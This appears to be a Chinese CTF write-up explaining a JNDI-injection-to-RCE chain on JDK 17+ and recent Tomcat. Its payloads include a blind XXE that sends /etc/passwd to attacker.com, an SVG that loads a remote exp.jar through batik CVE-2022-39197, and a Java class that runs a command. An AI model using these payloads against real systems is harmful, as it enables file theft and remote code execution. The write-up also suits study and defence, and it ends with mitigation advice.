从系统安全防护赛JDBCParty 学习高版本JDK和高版本Tomcat打JNDI到RCE
字数 1711 2025-08-29 08:30:36

高版本JDK与Tomcat环境下JNDI注入到RCE的深入分析与利用

1. 背景与概述

本文详细分析在高版本JDK(特别是JDK17+)和高版本Tomcat环境下,如何通过反序列化触发JNDI注入并最终实现RCE的技术细节。文章涵盖了从反序列化触发点到JNDI注入,再到绕过各种限制实现远程代码执行的完整链条。

2. 高版本JDK反射限制绕过

2.1 JDK17+反射限制

在JDK17及更高版本中,无法反射java.*包下非public修饰的属性和方法。这是Java模块化系统引入的安全限制。

2.2 使用UnSafe绕过限制

通过UnSafe工具类可以实现绕过:

  1. 调用类的moduleObject类的module相同
  2. 修改模块访问权限

关键实现代码:

// UnSafeTools类实现
public class UnSafeTools {
    public static void disableWarning() {
        try {
            Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafe.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafe.get(null);
            
            Class cls = Class.forName("jdk.internal.module.IllegalAccessLogger");
            Field logger = cls.getDeclaredField("logger");
            unsafe.putObjectVolatile(cls, unsafe.staticFieldOffset(logger), null);
        } catch (Exception e) {
            // ignore
        }
    }
}

3. 触发JNDI注入的途径

3.1 反序列化触发点

使用toString链触发JNDI注入,这是2024阿里云CTF chain17官方WP中的通杀链。关键点:

  • 需要处理BaseJsonNodewriteReplace方法
  • 建议本地实现包覆盖

3.2 JNDI注入限制

高版本JDK中:

  • 做了validateJNDIName黑名单限制
  • 只能利用RMI远程方法调用
  • LDAP等协议被限制

4. 高版本Tomcat的限制与绕过

4.1 Tomcat版本限制

Spring Boot内置Tomcat 10.1.31版本的限制:

  • Tomcat 9.0.62+在BeanFactory中对forceString进行了判断
  • 传统的BeanFactory利用路径被阻断
  • EL表达式和SnakeYaml等传统方法失效

4.2 XXE利用途径

通过org.apache.catalina.users.MemoryUserDatabaseFactory实现XXE:

  1. 加载本地工厂类
  2. 实现XXE盲注
  3. 尝试任意文件读取

XXE盲注Payload示例:

<!-- xxe.xml -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
<!-- test.dtd -->
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; internal SYSTEM 'http://localhost:8080/?data=%payload;'>">
%param1;
%internal;

注:Windows环境下可能存在限制,建议在Linux环境测试

5. 利用CVE-2022-39197实现RCE

5.1 漏洞背景

通过第三方依赖batik-swing实现RCE,关键Sink点是JSVGCanvas#setURL方法,可以实现SVG到RCE的转换。

5.2 利用链构建

  1. 任意类setter调用

    • 通过JavaBeans Introspector获取任意类的bean
    • 调用任意类的setter方法并控制参数
    • 绕过Tomcat高版本对toString的限制
  2. 触发JSVGCanvas#setURL

    // 获取JavaBean的WriteMethod(所有setter方法)
    BeanInfo beanInfo = Introspector.getBeanInfo(target.getClass());
    PropertyDescriptor[] pds = beanInfo.getPropertyDescriptors();
    
    // 通过反射调用setter
    Method setter = findSetterMethod(pds, "URL");
    setter.invoke(target, maliciousSvgUrl);
    

5.3 SVG Payload构造

利用20年前的古老漏洞构造SVG:

<!-- calc.svg -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <script type="text/ecmascript" xlink:href="http://attacker.com/exp.jar"/>
</svg>

5.4 远程类加载机制

通过org.apache.batik.bridge.BaseScriptingEnvironment#loadScript实现远程类加载,两种方式:

  1. 实现EventListenerInitializer

    • MANIFEST.MF中指定SVG-Handler-Class
  2. 实现ScriptHandler

    • MANIFEST.MF中指定Script-Handler

5.5 EXP.jar构造示例

// 实现EventListenerInitializer
public class EvilInitializer implements EventListenerInitializer {
    public void initializeEventListeners(AbstractDocument doc) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

META-INF/MANIFEST.MF内容:

SVG-Handler-Class: EvilInitializer

重要注意事项

  • 使用batik-ext-1.5.jar远古版本
  • EXP.jar必须放在不同端口的服务器上(同一端口存在bug)

6. 完整利用流程

  1. 构造恶意序列化数据触发反序列化
  2. 通过toString链触发JNDI查找
  3. 控制RMI服务返回恶意Reference
  4. 利用JSVGCanvas#setURL加载恶意SVG
  5. SVG触发远程类加载执行恶意代码

7. 防御建议

  1. 升级到最新JDK和Tomcat版本
  2. 限制反序列化操作
  3. 禁用不必要的JNDI查找
  4. 过滤SVG文件中的脚本内容
  5. 使用安全管理器限制权限

8. 参考资源

  1. JDK17反射限制绕过
  2. 浅蓝师傅关于高版本JNDI打法的经典文章
  3. CVE-2022-39197相关分析
  4. Batik SVG漏洞历史分析
高版本JDK与Tomcat环境下JNDI注入到RCE的深入分析与利用 1. 背景与概述 本文详细分析在高版本JDK(特别是JDK17+)和高版本Tomcat环境下,如何通过反序列化触发JNDI注入并最终实现RCE的技术细节。文章涵盖了从反序列化触发点到JNDI注入,再到绕过各种限制实现远程代码执行的完整链条。 2. 高版本JDK反射限制绕过 2.1 JDK17+反射限制 在JDK17及更高版本中,无法反射 java.* 包下非 public 修饰的属性和方法。这是Java模块化系统引入的安全限制。 2.2 使用UnSafe绕过限制 通过 UnSafe 工具类可以实现绕过: 调用类的 module 和 Object 类的 module 相同 修改模块访问权限 关键实现代码: 3. 触发JNDI注入的途径 3.1 反序列化触发点 使用 toString 链触发JNDI注入,这是2024阿里云CTF chain17官方WP中的通杀链。关键点: 需要处理 BaseJsonNode 的 writeReplace 方法 建议本地实现包覆盖 3.2 JNDI注入限制 高版本JDK中: 做了 validateJNDIName 黑名单限制 只能利用RMI远程方法调用 LDAP等协议被限制 4. 高版本Tomcat的限制与绕过 4.1 Tomcat版本限制 Spring Boot内置Tomcat 10.1.31版本的限制: Tomcat 9.0.62+在 BeanFactory 中对 forceString 进行了判断 传统的 BeanFactory 利用路径被阻断 EL表达式和SnakeYaml等传统方法失效 4.2 XXE利用途径 通过 org.apache.catalina.users.MemoryUserDatabaseFactory 实现XXE: 加载本地工厂类 实现XXE盲注 尝试任意文件读取 XXE盲注Payload示例: 注:Windows环境下可能存在限制,建议在Linux环境测试 5. 利用CVE-2022-39197实现RCE 5.1 漏洞背景 通过第三方依赖 batik-swing 实现RCE,关键Sink点是 JSVGCanvas#setURL 方法,可以实现SVG到RCE的转换。 5.2 利用链构建 任意类setter调用 : 通过 JavaBeans Introspector 获取任意类的bean 调用任意类的setter方法并控制参数 绕过Tomcat高版本对 toString 的限制 触发 JSVGCanvas#setURL : 5.3 SVG Payload构造 利用20年前的古老漏洞构造SVG: 5.4 远程类加载机制 通过 org.apache.batik.bridge.BaseScriptingEnvironment#loadScript 实现远程类加载,两种方式: 实现 EventListenerInitializer 类 : 在 MANIFEST.MF 中指定 SVG-Handler-Class 实现 ScriptHandler 类 : 在 MANIFEST.MF 中指定 Script-Handler 5.5 EXP.jar构造示例 META-INF/MANIFEST.MF 内容: 重要注意事项 : 使用 batik-ext-1.5.jar 远古版本 EXP.jar必须放在不同端口的服务器上(同一端口存在bug) 6. 完整利用流程 构造恶意序列化数据触发反序列化 通过 toString 链触发JNDI查找 控制RMI服务返回恶意Reference 利用 JSVGCanvas#setURL 加载恶意SVG SVG触发远程类加载执行恶意代码 7. 防御建议 升级到最新JDK和Tomcat版本 限制反序列化操作 禁用不必要的JNDI查找 过滤SVG文件中的脚本内容 使用安全管理器限制权限 8. 参考资源 JDK17反射限制绕过 浅蓝师傅关于高版本JNDI打法的经典文章 CVE-2022-39197相关分析 Batik SVG漏洞历史分析